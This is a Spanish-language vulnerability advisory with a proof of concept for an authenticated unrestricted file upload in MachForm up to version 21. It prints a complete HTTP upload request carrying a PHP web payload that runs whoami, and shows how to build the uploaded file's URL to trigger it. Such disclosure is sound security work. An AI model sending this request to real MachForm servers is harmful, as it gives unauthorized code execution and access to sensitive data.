
Prueba de concepto de explotación para la subida de archivos sin restricciones autenticada que conduce a la ejecución remota de código en MachForm hasta la versión 21, con ejemplos detallados de solicitudes y pasos de explotación.
MachForm hasta la versión 21 se ve afectado por una carga de archivos sin restricciones autenticada que conduce a una ejecución remota de código.
La aplicación ofrece la posibilidad de crear un formulario con funcionalidad de carga de archivos. Aunque por defecto los archivos aceptados están restringidos a un subconjunto seguro común, el creador del formulario también puede especificar formatos adicionales que están permitidos.
Si un usuario con derechos de creación de formularios crea un formulario con funcionalidad de carga de archivos donde se permite el formato “PHP”, cualquier usuario no autenticado puede explotar este formulario para obtener ejecución remota de código.
Para explotar esta vulnerabilidad, se requiere tener un formulario con funcionalidad de carga de archivos habilitada que tenga extensiones “PHP” en la lista blanca.

Una vez que se cumple este requisito previo, cualquier usuario no autenticado puede navegar al formulario para explotar la vulnerabilidad de carga de archivos.
Los archivos cargados en el formulario, que aún no han sido enviados dentro del formulario, se cargan en el servidor web en un directorio predeterminado con formato .tmp.

Solicitud:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
La ruta completa del archivo cargado se puede construir utilizando la solicitud de carga, que contiene todos los campos requeridos:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
En este escenario, la URL del archivo cargado será la siguiente:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

Una vez obtenida la ejecución remota de código, es posible operar directamente en el servidor objetivo, lo que permitiría adquirir acceso más allá del alcance de la aplicación y permitiría leer información sensible o alterar/eliminar componentes principales.